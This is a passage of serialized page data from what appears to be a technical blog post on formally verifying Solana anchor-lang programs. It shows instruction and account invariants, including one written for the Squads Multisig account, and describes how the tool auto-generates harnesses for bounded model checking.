",{"type":23,"tag":1887,"props":19461,"children":19462},{},[19463],{"type":28,"value":12075},{"type":28,"value":19465}," returns ",{"type":23,"tag":56,"props":19467,"children":19469},{"className":19468},[],[19470],{"type":28,"value":19471},"Ok",{"type":28,"value":19473},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":17774,"props":19475,"children":19476},{},[],{"type":23,"tag":24,"props":19478,"children":19479},{},[19480,19482,19487,19488,19493,19495,19500,19502,19507,19509,19514],{"type":28,"value":19481},"Note that ",{"type":23,"tag":56,"props":19483,"children":19485},{"className":19484},[],[19486],{"type":28,"value":19136},{"type":28,"value":430},{"type":23,"tag":56,"props":19489,"children":19491},{"className":19490},[],[19492],{"type":28,"value":19143},{"type":28,"value":19494}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":56,"props":19496,"children":19498},{"className":19497},[],[19499],{"type":28,"value":19136},{"type":28,"value":19501}," is not satisfied and a function may fail even if ",{"type":23,"tag":56,"props":19503,"children":19505},{"className":19504},[],[19506],{"type":28,"value":19143},{"type":28,"value":19508}," is not satisfied. If you want to prove the ",{"type":23,"tag":1887,"props":19510,"children":19511},{},[19512],{"type":28,"value":19513},"exact condition",{"type":28,"value":19515}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":494,"props":19517,"children":19519},{"code":19518,"language":1956,"meta":7,"className":1957,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[19520],{"type":23,"tag":56,"props":19521,"children":19522},{"__ignoreMap":7},[19523,19567,19574,19591,19617,19669,19676],{"type":23,"tag":504,"props":19524,"children":19525},{"class":506,"line":507},[19526,19530,19535,19539,19543,19547,19551,19555,19559,19563],{"type":23,"tag":504,"props":19527,"children":19528},{"style":511},[19529],{"type":28,"value":19248},{"type":23,"tag":504,"props":19531,"children":19532},{"style":517},[19533],{"type":28,"value":19534}," my_invariant",{"type":23,"tag":504,"props":19536,"children":19537},{"style":523},[19538],{"type":28,"value":526},{"type":23,"tag":504,"props":19540,"children":19541},{"style":598},[19542],{"type":28,"value":8572},{"type":23,"tag":504,"props":19544,"children":19545},{"style":523},[19546],{"type":28,"value":2064},{"type":23,"tag":504,"props":19548,"children":19549},{"style":598},[19550],{"type":28,"value":12738},{"type":23,"tag":504,"props":19552,"children":19553},{"style":1012},[19554],{"type":28,"value":11032},{"type":23,"tag":504,"props":19556,"children":19557},{"style":523},[19558],{"type":28,"value":747},{"type":23,"tag":504,"props":19560,"children":19561},{"style":598},[19562],{"type":28,"value":8572},{"type":23,"tag":504,"props":19564,"children":19565},{"style":523},[19566],{"type":28,"value":1652},{"type":23,"tag":504,"props":19568,"children":19569},{"class":506,"line":540},[19570],{"type":23,"tag":504,"props":19571,"children":19572},{"emptyLinePlaceholder":16},[19573],{"type":28,"value":1038},{"type":23,"tag":504,"props":19575,"children":19576},{"class":506,"line":555},[19577,19582,19586],{"type":23,"tag":504,"props":19578,"children":19579},{"style":523},[19580],{"type":28,"value":19581},"#[succeeds_if(my_invariant(",{"type":23,"tag":504,"props":19583,"children":19584},{"style":598},[19585],{"type":28,"value":8572},{"type":23,"tag":504,"props":19587,"children":19588},{"style":523},[19589],{"type":28,"value":19590},"))]\n",{"type":23,"tag":504,"props":19592,"children":19593},{"class":506,"line":633},[19594,19599,19604,19609,19613],{"type":23,"tag":504,"props":19595,"children":19596},{"style":523},[19597],{"type":28,"value":19598},"#[errors_if(",{"type":23,"tag":504,"props":19600,"children":19601},{"style":598},[19602],{"type":28,"value":19603},"!",{"type":23,"tag":504,"props":19605,"children":19606},{"style":523},[19607],{"type":28,"value":19608},"my_invariant(",{"type":23,"tag":504,"props":19610,"children":19611},{"style":598},[19612],{"type":28,"value":8572},{"type":23,"tag":504,"props":19614,"children":19615},{"style":523},[19616],{"type":28,"value":19590},{"type":23,"tag":504,"props":19618,"children":19619},{"class":506,"line":687},[19620,19624,19629,19633,19637,19641,19645,19649,19653,19657,19661,19665],{"type":23,"tag":504,"props":19621,"children":19622},{"style":511},[19623],{"type":28,"value":19248},{"type":23,"tag":504,"props":19625,"children":19626},{"style":517},[19627],{"type":28,"value":19628}," my_instruction",{"type":23,"tag":504,"props":19630,"children":19631},{"style":523},[19632],{"type":28,"value":526},{"type":23,"tag":504,"props":19634,"children":19635},{"style":529},[19636],{"type":28,"value":19262},{"type":23,"tag":504,"props":19638,"children":19639},{"style":598},[19640],{"type":28,"value":3472},{"type":23,"tag":504,"props":19642,"children":19643},{"style":1012},[19644],{"type":28,"value":19271},{"type":23,"tag":504,"props":19646,"children":19647},{"style":523},[19648],{"type":28,"value":4789},{"type":23,"tag":504,"props":19650,"children":19651},{"style":598},[19652],{"type":28,"value":8572},{"type":23,"tag":504,"props":19654,"children":19655},{"style":523},[19656],{"type":28,"value":19428},{"type":23,"tag":504,"props":19658,"children":19659},{"style":598},[19660],{"type":28,"value":12738},{"type":23,"tag":504,"props":19662,"children":19663},{"style":1012},[19664],{"type":28,"value":12743},{"type":23,"tag":504,"props":19666,"children":19667},{"style":523},[19668],{"type":28,"value":19313},{"type":23,"tag":504,"props":19670,"children":19671},{"class":506,"line":736},[19672],{"type":23,"tag":504,"props":19673,"children":19674},{"style":598},[19675],{"type":28,"value":19321},{"type":23,"tag":504,"props":19677,"children":19678},{"class":506,"line":785},[19679],{"type":23,"tag":504,"props":19680,"children":19681},{"style":523},[19682],{"type":28,"value":884},{"type":23,"tag":24,"props":19684,"children":19685},{},[19686],{"type":28,"value":19687},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":17874,"props":19689,"children":19691},{"id":19690},"account-invariants",[19692],{"type":28,"value":19693},"Account Invariants",{"type":23,"tag":24,"props":19695,"children":19696},{},[19697,19699,19704],{"type":28,"value":19698},"The other type of invariant is an ",{"type":23,"tag":296,"props":19700,"children":19701},{},[19702],{"type":28,"value":19703},"Account Invariant",{"type":28,"value":19705},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":19707,"children":19708},{},[19709,19711,19716,19717,19723],{"type":28,"value":19710},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":56,"props":19712,"children":19714},{"className":19713},[],[19715],{"type":28,"value":2701},{"type":28,"value":459},{"type":23,"tag":56,"props":19718,"children":19720},{"className":19719},[],[19721],{"type":28,"value":19722},"init",{"type":28,"value":270},{"type":23,"tag":24,"props":19725,"children":19726},{},[19727,19729,19735],{"type":28,"value":19728},"For example, given a mock ",{"type":23,"tag":56,"props":19730,"children":19732},{"className":19731},[],[19733],{"type":28,"value":19734},"UserStatement",{"type":28,"value":19736}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":494,"props":19738,"children":19740},{"code":19739,"language":1956,"meta":7,"className":1957,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[19741],{"type":23,"tag":56,"props":19742,"children":19743},{"__ignoreMap":7},[19744,19752,19760,19794,19801,19817,19843,19867,19891],{"type":23,"tag":504,"props":19745,"children":19746},{"class":506,"line":507},[19747],{"type":23,"tag":504,"props":19748,"children":19749},{"style":523},[19750],{"type":28,"value":19751},"#[account]\n",{"type":23,"tag":504,"props":19753,"children":19754},{"class":506,"line":540},[19755],{"type":23,"tag":504,"props":19756,"children":19757},{"style":523},[19758],{"type":28,"value":19759},"#[invariant(\n",{"type":23,"tag":504,"props":19761,"children":19762},{"class":506,"line":555},[19763,19768,19772,19777,19781,19785,19789],{"type":23,"tag":504,"props":19764,"children":19765},{"style":523},[19766],{"type":28,"value":19767},"    self",{"type":23,"tag":504,"props":19769,"children":19770},{"style":598},[19771],{"type":28,"value":320},{"type":23,"tag":504,"props":19773,"children":19774},{"style":523},[19775],{"type":28,"value":19776},"assets ",{"type":23,"tag":504,"props":19778,"children":19779},{"style":598},[19780],{"type":28,"value":8924},{"type":23,"tag":504,"props":19782,"children":19783},{"style":523},[19784],{"type":28,"value":12778},{"type":23,"tag":504,"props":19786,"children":19787},{"style":598},[19788],{"type":28,"value":320},{"type":23,"tag":504,"props":19790,"children":19791},{"style":523},[19792],{"type":28,"value":19793},"liabilities\n",{"type":23,"tag":504,"props":19795,"children":19796},{"class":506,"line":633},[19797],{"type":23,"tag":504,"props":19798,"children":19799},{"style":523},[19800],{"type":28,"value":19240},{"type":23,"tag":504,"props":19802,"children":19803},{"class":506,"line":687},[19804,19808,19813],{"type":23,"tag":504,"props":19805,"children":19806},{"style":511},[19807],{"type":28,"value":8383},{"type":23,"tag":504,"props":19809,"children":19810},{"style":1012},[19811],{"type":28,"value":19812}," UserStatement",{"type":23,"tag":504,"props":19814,"children":19815},{"style":523},[19816],{"type":28,"value":552},{"type":23,"tag":504,"props":19818,"children":19819},{"class":506,"line":736},[19820,19825,19830,19834,19839],{"type":23,"tag":504,"props":19821,"children":19822},{"style":511},[19823],{"type":28,"value":19824},"    pub",{"type":23,"tag":504,"props":19826,"children":19827},{"style":529},[19828],{"type":28,"value":19829}," owner",{"type":23,"tag":504,"props":19831,"children":19832},{"style":598},[19833],{"type":28,"value":3472},{"type":23,"tag":504,"props":19835,"children":19836},{"style":1012},[19837],{"type":28,"value":19838}," Pubkey",{"type":23,"tag":504,"props":19840,"children":19841},{"style":523},[19842],{"type":28,"value":2484},{"type":23,"tag":504,"props":19844,"children":19845},{"class":506,"line":785},[19846,19850,19855,19859,19863],{"type":23,"tag":504,"props":19847,"children":19848},{"style":511},[19849],{"type":28,"value":19824},{"type":23,"tag":504,"props":19851,"children":19852},{"style":529},[19853],{"type":28,"value":19854}," assets",{"type":23,"tag":504,"props":19856,"children":19857},{"style":598},[19858],{"type":28,"value":3472},{"type":23,"tag":504,"props":19860,"children":19861},{"style":1012},[19862],{"type":28,"value":4843},{"type":23,"tag":504,"props":19864,"children":19865},{"style":523},[19866],{"type":28,"value":2484},{"type":23,"tag":504,"props":19868,"children":19869},{"class":506,"line":813},[19870,19874,19879,19883,19887],{"type":23,"tag":504,"props":19871,"children":19872},{"style":511},[19873],{"type":28,"value":19824},{"type":23,"tag":504,"props":19875,"children":19876},{"style":529},[19877],{"type":28,"value":19878}," liabilities",{"type":23,"tag":504,"props":19880,"children":19881},{"style":598},[19882],{"type":28,"value":3472},{"type":23,"tag":504,"props":19884,"children":19885},{"style":1012},[19886],{"type":28,"value":4843},{"type":23,"tag":504,"props":19888,"children":19889},{"style":523},[19890],{"type":28,"value":2484},{"type":23,"tag":504,"props":19892,"children":19893},{"class":506,"line":851},[19894],{"type":23,"tag":504,"props":19895,"children":19896},{"style":523},[19897],{"type":28,"value":884},{"type":23,"tag":24,"props":19899,"children":19900},{},[19901,19903,19908],{"type":28,"value":19902},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":56,"props":19904,"children":19906},{"className":19905},[],[19907],{"type":28,"value":19734},{"type":28,"value":19909}," is created or modified.",{"type":23,"tag":24,"props":19911,"children":19912},{},[19913,19915,19921],{"type":28,"value":19914},"In another example, we developed the following invariant for the ",{"type":23,"tag":92,"props":19916,"children":19918},{"href":17805,"rel":19917},[96],[19919],{"type":28,"value":19920},"Squads Multisig",{"type":28,"value":19922}," wallet account:",{"type":23,"tag":494,"props":19924,"children":19926},{"code":19925,"language":1956,"meta":7,"className":1957,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[19927],{"type":23,"tag":56,"props":19928,"children":19929},{"__ignoreMap":7},[19930,19937,19944,19974,20033,20062,20114,20121,20142,20172,20202,20232,20261,20291,20321,20350,20390],{"type":23,"tag":504,"props":19931,"children":19932},{"class":506,"line":507},[19933],{"type":23,"tag":504,"props":19934,"children":19935},{"style":523},[19936],{"type":28,"value":19751},{"type":23,"tag":504,"props":19938,"children":19939},{"class":506,"line":540},[19940],{"type":23,"tag":504,"props":19941,"children":19942},{"style":523},[19943],{"type":28,"value":19759},{"type":23,"tag":504,"props":19945,"children":19946},{"class":506,"line":555},[19947,19952,19956,19960,19965,19969],{"type":23,"tag":504,"props":19948,"children":19949},{"style":598},[19950],{"type":28,"value":19951},"    !",{"type":23,"tag":504,"props":19953,"children":19954},{"style":523},[19955],{"type":28,"value":12694},{"type":23,"tag":504,"props":19957,"children":19958},{"style":598},[19959],{"type":28,"value":320},{"type":23,"tag":504,"props":19961,"children":19962},{"style":523},[19963],{"type":28,"value":19964},"keys",{"type":23,"tag":504,"props":19966,"children":19967},{"style":598},[19968],{"type":28,"value":320},{"type":23,"tag":504,"props":19970,"children":19971},{"style":523},[19972],{"type":28,"value":19973},"is_empty()\n",{"type":23,"tag":504,"props":19975,"children":19976},{"class":506,"line":633},[19977,19981,19986,19990,19994,19998,20003,20007,20012,20016,20021,20025,20029],{"type":23,"tag":504,"props":19978,"children":19979},{"style":598},[19980],{"type":28,"value":14602},{"type":23,"tag":504,"props":19982,"children":19983},{"style":523},[19984],{"type":28,"value":19985}," (self",{"type":23,"tag":504,"props":19987,"children":19988},{"style":598},[19989],{"type":28,"value":320},{"type":23,"tag":504,"props":19991,"children":19992},{"style":523},[19993],{"type":28,"value":19964},{"type":23,"tag":504,"props":19995,"children":19996},{"style":598},[19997],{"type":28,"value":320},{"type":23,"tag":504,"props":19999,"children":20000},{"style":523},[20001],{"type":28,"value":20002},"len() ",{"type":23,"tag":504,"props":20004,"children":20005},{"style":598},[20006],{"type":28,"value":18396},{"type":23,"tag":504,"props":20008,"children":20009},{"style":1012},[20010],{"type":28,"value":20011}," u16",{"type":23,"tag":504,"props":20013,"children":20014},{"style":598},[20015],{"type":28,"value":2457},{"type":23,"tag":504,"props":20017,"children":20018},{"style":1012},[20019],{"type":28,"value":20020},"MAX",{"type":23,"tag":504,"props":20022,"children":20023},{"style":511},[20024],{"type":28,"value":7811},{"type":23,"tag":504,"props":20026,"children":20027},{"style":1012},[20028],{"type":28,"value":12712},{"type":23,"tag":504,"props":20030,"children":20031},{"style":523},[20032],{"type":28,"value":1192},{"type":23,"tag":504,"props":20034,"children":20035},{"class":506,"line":687},[20036,20040,20044,20048,20053,20057],{"type":23,"tag":504,"props":20037,"children":20038},{"style":598},[20039],{"type":28,"value":14602},{"type":23,"tag":504,"props":20041,"children":20042},{"style":523},[20043],{"type":28,"value":19985},{"type":23,"tag":504,"props":20045,"children":20046},{"style":598},[20047],{"type":28,"value":320},{"type":23,"tag":504,"props":20049,"children":20050},{"style":523},[20051],{"type":28,"value":20052},"threshold ",{"type":23,"tag":504,"props":20054,"children":20055},{"style":598},[20056],{"type":28,"value":8924},{"type":23,"tag":504,"props":20058,"children":20059},{"style":523},[20060],{"type":28,"value":20061}," 1)\n",{"type":23,"tag":504,"props":20063,"children":20064},{"class":506,"line":736},[20065,20069,20073,20077,20081,20085,20089,20093,20097,20101,20105,20109],{"type":23,"tag":504,"props":20066,"children":20067},{"style":598},[20068],{"type":28,"value":14602},{"type":23,"tag":504,"props":20070,"children":20071},{"style":523},[20072],{"type":28,"value":19985},{"type":23,"tag":504,"props":20074,"children":20075},{"style":598},[20076],{"type":28,"value":320},{"type":23,"tag":504,"props":20078,"children":20079},{"style":523},[20080],{"type":28,"value":20052},{"type":23,"tag":504,"props":20082,"children":20083},{"style":511},[20084],{"type":28,"value":7825},{"type":23,"tag":504,"props":20086,"children":20087},{"style":1012},[20088],{"type":28,"value":12712},{"type":23,"tag":504,"props":20090,"children":20091},{"style":598},[20092],{"type":28,"value":7180},{"type":23,"tag":504,"props":20094,"children":20095},{"style":523},[20096],{"type":28,"value":12778},{"type":23,"tag":504,"props":20098,"children":20099},{"style":598},[20100],{"type":28,"value":320},{"type":23,"tag":504,"props":20102,"children":20103},{"style":523},[20104],{"type":28,"value":19964},{"type":23,"tag":504,"props":20106,"children":20107},{"style":598},[20108],{"type":28,"value":320},{"type":23,"tag":504,"props":20110,"children":20111},{"style":523},[20112],{"type":28,"value":20113},"len())\n",{"type":23,"tag":504,"props":20115,"children":20116},{"class":506,"line":785},[20117],{"type":23,"tag":504,"props":20118,"children":20119},{"style":523},[20120],{"type":28,"value":19240},{"type":23,"tag":504,"props":20122,"children":20123},{"class":506,"line":813},[20124,20128,20133,20138],{"type":23,"tag":504,"props":20125,"children":20126},{"style":511},[20127],{"type":28,"value":12671},{"type":23,"tag":504,"props":20129,"children":20130},{"style":511},[20131],{"type":28,"value":20132}," struct",{"type":23,"tag":504,"props":20134,"children":20135},{"style":1012},[20136],{"type":28,"value":20137}," Ms",{"type":23,"tag":504,"props":20139,"children":20140},{"style":523},[20141],{"type":28,"value":552},{"type":23,"tag":504,"props":20143,"children":20144},{"class":506,"line":851},[20145,20149,20154,20158,20162,20167],{"type":23,"tag":504,"props":20146,"children":20147},{"style":511},[20148],{"type":28,"value":19824},{"type":23,"tag":504,"props":20150,"children":20151},{"style":529},[20152],{"type":28,"value":20153}," threshold",{"type":23,"tag":504,"props":20155,"children":20156},{"style":598},[20157],{"type":28,"value":3472},{"type":23,"tag":504,"props":20159,"children":20160},{"style":1012},[20161],{"type":28,"value":20011},{"type":23,"tag":504,"props":20163,"children":20164},{"style":523},[20165],{"type":28,"value":20166},",               ",{"type":23,"tag":504,"props":20168,"children":20169},{"style":1106},[20170],{"type":28,"value":20171},"// threshold for signatures\n",{"type":23,"tag":504,"props":20173,"children":20174},{"class":506,"line":869},[20175,20179,20184,20188,20192,20197],{"type":23,"tag":504,"props":20176,"children":20177},{"style":511},[20178],{"type":28,"value":19824},{"type":23,"tag":504,"props":20180,"children":20181},{"style":529},[20182],{"type":28,"value":20183}," authority_index",{"type":23,"tag":504,"props":20185,"children":20186},{"style":598},[20187],{"type":28,"value":3472},{"type":23,"tag":504,"props":20189,"children":20190},{"style":1012},[20191],{"type":28,"value":20011},{"type":23,"tag":504,"props":20193,"children":20194},{"style":523},[20195],{"type":28,"value":20196},",         ",{"type":23,"tag":504,"props":20198,"children":20199},{"style":1106},[20200],{"type":28,"value":20201},"// index to seed other authorities under this multisig\n",{"type":23,"tag":504,"props":20203,"children":20204},{"class":506,"line":878},[20205,20209,20214,20218,20222,20227],{"type":23,"tag":504,"props":20206,"children":20207},{"style":511},[20208],{"type":28,"value":19824},{"type":23,"tag":504,"props":20210,"children":20211},{"style":529},[20212],{"type":28,"value":20213}," transaction_index",{"type":23,"tag":504,"props":20215,"children":20216},{"style":598},[20217],{"type":28,"value":3472},{"type":23,"tag":504,"props":20219,"children":20220},{"style":1012},[20221],{"type":28,"value":16529},{"type":23,"tag":504,"props":20223,"children":20224},{"style":523},[20225],{"type":28,"value":20226},",       ",{"type":23,"tag":504,"props":20228,"children":20229},{"style":1106},[20230],{"type":28,"value":20231},"// look up and seed reference for transactions\n",{"type":23,"tag":504,"props":20233,"children":20234},{"class":506,"line":1221},[20235,20239,20244,20248,20252,20256],{"type":23,"tag":504,"props":20236,"children":20237},{"style":511},[20238],{"type":28,"value":19824},{"type":23,"tag":504,"props":20240,"children":20241},{"style":529},[20242],{"type":28,"value":20243}," ms_change_index",{"type":23,"tag":504,"props":20245,"children":20246},{"style":598},[20247],{"type":28,"value":3472},{"type":23,"tag":504,"props":20249,"children":20250},{"style":1012},[20251],{"type":28,"value":16529},{"type":23,"tag":504,"props":20253,"children":20254},{"style":523},[20255],{"type":28,"value":20196},{"type":23,"tag":504,"props":20257,"children":20258},{"style":1106},[20259],{"type":28,"value":20260},"// the last executed/closed transaction\n",{"type":23,"tag":504,"props":20262,"children":20263},{"class":506,"line":1276},[20264,20268,20273,20277,20281,20286],{"type":23,"tag":504,"props":20265,"children":20266},{"style":511},[20267],{"type":28,"value":19824},{"type":23,"tag":504,"props":20269,"children":20270},{"style":529},[20271],{"type":28,"value":20272}," bump",{"type":23,"tag":504,"props":20274,"children":20275},{"style":598},[20276],{"type":28,"value":3472},{"type":23,"tag":504,"props":20278,"children":20279},{"style":1012},[20280],{"type":28,"value":13615},{"type":23,"tag":504,"props":20282,"children":20283},{"style":523},[20284],{"type":28,"value":20285},",                     ",{"type":23,"tag":504,"props":20287,"children":20288},{"style":1106},[20289],{"type":28,"value":20290},"// bump for the multisig seed\n",{"type":23,"tag":504,"props":20292,"children":20293},{"class":506,"line":1285},[20294,20298,20303,20307,20311,20316],{"type":23,"tag":504,"props":20295,"children":20296},{"style":511},[20297],{"type":28,"value":19824},{"type":23,"tag":504,"props":20299,"children":20300},{"style":529},[20301],{"type":28,"value":20302}," create_key",{"type":23,"tag":504,"props":20304,"children":20305},{"style":598},[20306],{"type":28,"value":3472},{"type":23,"tag":504,"props":20308,"children":20309},{"style":1012},[20310],{"type":28,"value":19838},{"type":23,"tag":504,"props":20312,"children":20313},{"style":523},[20314],{"type":28,"value":20315},",           ",{"type":23,"tag":504,"props":20317,"children":20318},{"style":1106},[20319],{"type":28,"value":20320},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":504,"props":20322,"children":20323},{"class":506,"line":1294},[20324,20328,20333,20337,20341,20345],{"type":23,"tag":504,"props":20325,"children":20326},{"style":511},[20327],{"type":28,"value":19824},{"type":23,"tag":504,"props":20329,"children":20330},{"style":529},[20331],{"type":28,"value":20332}," allow_external_execute",{"type":23,"tag":504,"props":20334,"children":20335},{"style":598},[20336],{"type":28,"value":3472},{"type":23,"tag":504,"props":20338,"children":20339},{"style":1012},[20340],{"type":28,"value":11032},{"type":23,"tag":504,"props":20342,"children":20343},{"style":523},[20344],{"type":28,"value":576},{"type":23,"tag":504,"props":20346,"children":20347},{"style":1106},[20348],{"type":28,"value":20349},"// allow non-member keys to execute txs\n",{"type":23,"tag":504,"props":20351,"children":20352},{"class":506,"line":1302},[20353,20357,20362,20366,20371,20375,20380,20385],{"type":23,"tag":504,"props":20354,"children":20355},{"style":511},[20356],{"type":28,"value":19824},{"type":23,"tag":504,"props":20358,"children":20359},{"style":529},[20360],{"type":28,"value":20361}," keys",{"type":23,"tag":504,"props":20363,"children":20364},{"style":598},[20365],{"type":28,"value":3472},{"type":23,"tag":504,"props":20367,"children":20368},{"style":1012},[20369],{"type":28,"value":20370}," Vec",{"type":23,"tag":504,"props":20372,"children":20373},{"style":523},[20374],{"type":28,"value":4789},{"type":23,"tag":504,"props":20376,"children":20377},{"style":1012},[20378],{"type":28,"value":20379},"Pubkey",{"type":23,"tag":504,"props":20381,"children":20382},{"style":523},[20383],{"type":28,"value":20384},">,            ",{"type":23,"tag":504,"props":20386,"children":20387},{"style":1106},[20388],{"type":28,"value":20389},"// keys of the members\n",{"type":23,"tag":504,"props":20391,"children":20392},{"class":506,"line":1311},[20393],{"type":23,"tag":504,"props":20394,"children":20395},{"style":523},[20396],{"type":28,"value":884},{"type":23,"tag":24,"props":20398,"children":20399},{},[20400],{"type":28,"value":20401},"Here we are verifying multiple things at once:",{"type":23,"tag":350,"props":20403,"children":20404},{},[20405,20416,20427,20438],{"type":23,"tag":45,"props":20406,"children":20407},{},[20408,20414],{"type":23,"tag":56,"props":20409,"children":20411},{"className":20410},[],[20412],{"type":28,"value":20413},"!self.keys.is_empty()",{"type":28,"value":20415}," : ensure there is at least one member",{"type":23,"tag":45,"props":20417,"children":20418},{},[20419,20425],{"type":23,"tag":56,"props":20420,"children":20422},{"className":20421},[],[20423],{"type":28,"value":20424},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":20426}," : set an upper limit of 65535 members",{"type":23,"tag":45,"props":20428,"children":20429},{},[20430,20436],{"type":23,"tag":56,"props":20431,"children":20433},{"className":20432},[],[20434],{"type":28,"value":20435},"self.threshold >= 1",{"type":28,"value":20437}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":45,"props":20439,"children":20440},{},[20441,20447],{"type":23,"tag":56,"props":20442,"children":20444},{"className":20443},[],[20445],{"type":28,"value":20446},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":20448}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":70,"props":20450,"children":20452},{"id":20451},"verification-how-do-we-check-that-our-model-is-correct",[20453],{"type":28,"value":20454},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":20456,"children":20457},{},[20458,20460,20464,20466,20471],{"type":28,"value":20459},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":1887,"props":20461,"children":20462},{},[20463],{"type":28,"value":18951},{"type":28,"value":20465}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":1887,"props":20467,"children":20468},{},[20469],{"type":28,"value":20470},"automagically",{"type":28,"value":20472}," for anchor-lang programs.",{"type":23,"tag":24,"props":20474,"children":20475},{},[20476,20478,20484,20486,20491,20493,20498,20499,20504,20506,20511,20513,20518,20519,20525,20527,20533,20534,20540],{"type":28,"value":20477},"Specifically, for a given ",{"type":23,"tag":56,"props":20479,"children":20481},{"className":20480},[],[20482],{"type":28,"value":20483},"Context\u003CT>",{"type":28,"value":20485}," with ",{"type":23,"tag":1887,"props":20487,"children":20488},{},[20489],{"type":28,"value":20490},"incoming",{"type":28,"value":20492}," accounts of types (",{"type":23,"tag":56,"props":20494,"children":20496},{"className":20495},[],[20497],{"type":28,"value":19722},{"type":28,"value":3562},{"type":23,"tag":56,"props":20500,"children":20502},{"className":20501},[],[20503],{"type":28,"value":2701},{"type":28,"value":20505},") and ",{"type":23,"tag":1887,"props":20507,"children":20508},{},[20509],{"type":28,"value":20510},"outgoing",{"type":28,"value":20512}," accounts of type (",{"type":23,"tag":56,"props":20514,"children":20516},{"className":20515},[],[20517],{"type":28,"value":2701},{"type":28,"value":3562},{"type":23,"tag":56,"props":20520,"children":20522},{"className":20521},[],[20523],{"type":28,"value":20524},"close",{"type":28,"value":20526},") we define a ",{"type":23,"tag":56,"props":20528,"children":20530},{"className":20529},[],[20531],{"type":28,"value":20532},"pre_condition",{"type":28,"value":430},{"type":23,"tag":56,"props":20535,"children":20537},{"className":20536},[],[20538],{"type":28,"value":20539},"post_condition",{"type":28,"value":20541}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":20543,"children":20544},{},[20545],{"type":23,"tag":56,"props":20546,"children":20548},{"className":20547},[2960,2961],[20549],{"type":23,"tag":504,"props":20550,"children":20552},{"className":20551},[2966],[20553],{"type":23,"tag":504,"props":20554,"children":20556},{"className":20555,"ariaHidden":2972},[2971],[20557,20593],{"type":23,"tag":504,"props":20558,"children":20560},{"className":20559},[2977],[20561,20566,20574,20579,20583,20589],{"type":23,"tag":504,"props":20562,"children":20565},{"className":20563,"style":20564},[2982],"height:0.6833em;",[],{"type":23,"tag":504,"props":20567,"children":20571},{"className":20568,"style":20570},[2988,20569],"mathnormal","margin-right:0.13889em;",[20572],{"type":28,"value":20573},"P",{"type":23,"tag":504,"props":20575,"children":20577},{"className":20576},[2988],[20578],{"type":28,"value":3001},{"type":23,"tag":504,"props":20580,"children":20582},{"className":20581,"style":3167},[3069],[],{"type":23,"tag":504,"props":20584,"children":20586},{"className":20585},[3172],[20587],{"type":28,"value":20588},":=",{"type":23,"tag":504,"props":20590,"children":20592},{"className":20591,"style":3167},[3069],[],{"type":23,"tag":504,"props":20594,"children":20596},{"className":20595},[2977],[20597,20602,20742,20746],{"type":23,"tag":504,"props":20598,"children":20601},{"className":20599,"style":20600},[2982],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":504,"props":20603,"children":20606},{"className":20604},[20605],"mop",[20607,20616],{"type":23,"tag":504,"props":20608,"children":20613},{"className":20609,"style":20612},[20605,20610,20611],"op-symbol","small-op","position:relative;top:0em;",[20614],{"type":28,"value":20615},"⋀",{"type":23,"tag":504,"props":20617,"children":20619},{"className":20618},[3005],[20620],{"type":23,"tag":504,"props":20621,"children":20624},{"className":20622},[3010,20623],"vlist-t2",[20625,20730],{"type":23,"tag":504,"props":20626,"children":20628},{"className":20627},[3015],[20629,20723],{"type":23,"tag":504,"props":20630,"children":20633},{"className":20631,"style":20632},[3020],"height:0.2253em;",[20634],{"type":23,"tag":504,"props":20635,"children":20637},{"style":20636},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[20638,20642],{"type":23,"tag":504,"props":20639,"children":20641},{"className":20640,"style":3030},[3029],[],{"type":23,"tag":504,"props":20643,"children":20645},{"className":20644},[3035,3036,3037,3038],[20646],{"type":23,"tag":504,"props":20647,"children":20649},{"className":20648},[2988,3038],[20650,20655,20661,20671,20677,20686,20695,20701,20706,20712,20717],{"type":23,"tag":504,"props":20651,"children":20653},{"className":20652},[2988,20569,3038],[20654],{"type":28,"value":92},{"type":23,"tag":504,"props":20656,"children":20658},{"className":20657},[2988,20569,3038],[20659],{"type":28,"value":20660},"cc",{"type":23,"tag":504,"props":20662,"children":20664},{"className":20663},[3069,3038],[20665],{"type":23,"tag":504,"props":20666,"children":20668},{"className":20667},[3038],[20669],{"type":28,"value":20670}," 